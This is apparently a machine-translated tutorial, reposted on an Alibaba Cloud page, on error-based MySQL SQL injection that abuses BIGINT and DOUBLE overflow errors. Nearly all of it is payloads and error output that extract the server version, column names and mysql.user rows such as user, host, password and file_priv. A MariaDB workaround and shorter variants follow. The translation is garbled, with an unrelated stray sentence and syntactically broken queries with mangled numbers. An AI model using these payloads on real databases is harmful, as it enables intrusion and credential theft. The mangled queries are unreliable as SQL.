New Mysql error Injection

Source: Internet
Author: User

The original text is in Russian and cannot be translated. The approximate content is attached:

This error injection is mainly based on Mysql DATA overflow.
 

Mysql> SELECT 18446744073709551610*2; ERROR 1690 (22003): bigint unsigned value is out of range in '(18446744073709551610*2)' mysql> SELECT-1*9223372036854775808; ERROR 1690 (22003): bigint unsigned value is out of range in '(-(1) * 9223372036854775808 )'



Query the database version:
 

Mysql> SELECT * 2 (if (SELECT * from (SELECT (version () s), 18446744073709551610,184 46721373709551610); ERROR 1690 (22003 ): bigint unsigned value is out of range in '(2 * if (Select '000000' from Dual), 5.5 ))'



Obtain the field name:
 

Mysql> SELECT 2 * if (SELECT * from (select * from test. shop) as ''limit 1)> (SELECT * from test. shop limit 1), 18446744073709551610,184 46731673709551610); ERROR 1690 (22003): bigint unsigned value is out of range in '(2 * if (select 'Article', 'dealer ', 'price' from (select 'test '. 'shop '. 'Article' AS 'Article', 'test '. 'shop '. 'delimer' AS 'delimer', 'test '. 'shop '. 'price' AS 'price' from 'test '. 'Shop ') limit 1)> (select 'test '. 'shop '. 'Article', 'test '. 'shop '. 'delealer', 'test '. 'shop '. 'price' from 'test '. 'Shop 'limit 1), 18446731673709551610,18446731673709551610) '// when there are too many other than dynamic Dynamic Route reschedule too many other dynamic route entries



Obtain the field value:
 

Mysql> SELECT 2 * if (SELECT * from (select * from (mysql. user) LIMIT 1) as ''limit 1) <, 18446744073709551610,184, 1690, 22003,); ERROR ): bigint unsigned value is out of range in '(2 * if (select 'localhost', 'root',' * ', 'y', 'y ', 'y ', 'y ', 'y ','','','','', '0', '0', '0', '0', '','' from dual limit 1) <, ))'



Note that this method is not applicable to the old version of Mysql. In addition, you need to know the length limit of the error message, because it determines how long the information can be obtained:
 

Mysys/my_error.c/* Max length of a error message. shocould be kept in sync with MYSQL_ERRMSG_SIZE. */# define ERRMSGSIZE (512)



If the object is MariaDB (a branch of Mysql), when you try the above method, you may see the following error message:
 

Mysql> SELECT 2 * (if (SELECT * from (SELECT (version () s), 18446744073709551610,184 46721373709551610) ERROR 1690 (22003 ): bigint unsigned value is out of range in '(2 * if (select #), 184467000073709551610,184467000073709551610 ))'



As a solution, you can solve this problem in this way:
 

Mysql> SELECT (I is not null)--9223372036854775808 FROM (SELECT (version () I) a; ERROR 1690 (22003 ): BIGINT value is out of range in '('5. 5-MariaDB 'is not null)--(9223372036854775808 ))'



Now let's see if we can make our Vector shorter.

// Query the database version
 

SELECT 2 * (if (SELECT * from (SELECT (version () s), 18446744073709551610,184 46721373709551610 )) = select 1E308 * if (select * from (select version () x), 9223372036854775808) SELECT (I IS NOT NULL)--FROM (SELECT (version ()) i) a = select if (x, 2, 2) * 1E308 from (select version () x) y



// Obtain the table field name
 

SELECT 2 * if (SELECT * from (select * from test. shop) as ''limit 1)> (SELECT * from test. shop limit 1), 18446744073709551610,184 46721373709551610) = select 1E308 * if (select * from mysql. user) ''limit 1)> (select * from mysql. user limit 1), 2, 2)



// Obtain the field value
 

SELECT 2 * if (SELECT * from (select * from (mysql. user) LIMIT 1) as ''limit 1) <(, 5, 6, 7, 18446744073709551610,184,) = select 1E308 * if (select * from mysql. user LIMIT 1) ''limit 1) <(select * from mysql. user limit 0), 2, 2)



// Obtain the value of a specified field
 

Select 1E308 * if (select user | host | password | file_priv from (select * from mysql. user LIMIT 1) a limit 1), 2, 2)

 



// Obtain the number of fields
 

Select 1E308 * if (select * from mysql. user limit 1)> (select 1), 2, 2)



Other variants
 

SELECT (I is not null)--9223372036854775808 FROM (SELECT (version () I) a select 1E308 * if (select user | host | password | file_priv from (select * from mysql. user LIMIT 1) a limit 1), 2, 2); => select 2 * if (select user | host | password | file_priv from (select * from mysql. user LIMIT 1) a limit 1), 1e308, 0); mysql> select (select * from mysql. user) = 1; mysql> select (select * from mysql. user) in (1); ERROR 1241 (21000) : Operand shoshould contain 42 column (s) select 2 * if (select user | host | password | file_priv from (select * from mysql. user LIMIT 1) a limit 1), 1e308, 0); select if (select user | host | password | file_priv from (select * from mysql. user LIMIT 1) a limit 1), 9223372036854775808) * 1E308 SELECT (I is not null)--FROM (SELECT (version () I) a select (x! = 0x00) -- 9223372036854775808 from (SELECT version () x) y mysql> select! X -~ 0. FROM (select + user () x) f; ERROR 1690 (22003): bigint unsigned value is out of range in '(not ('root @ localhost '))-~ (0 ))'



Some people say that they are trying to verify it ...... Attached




 


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.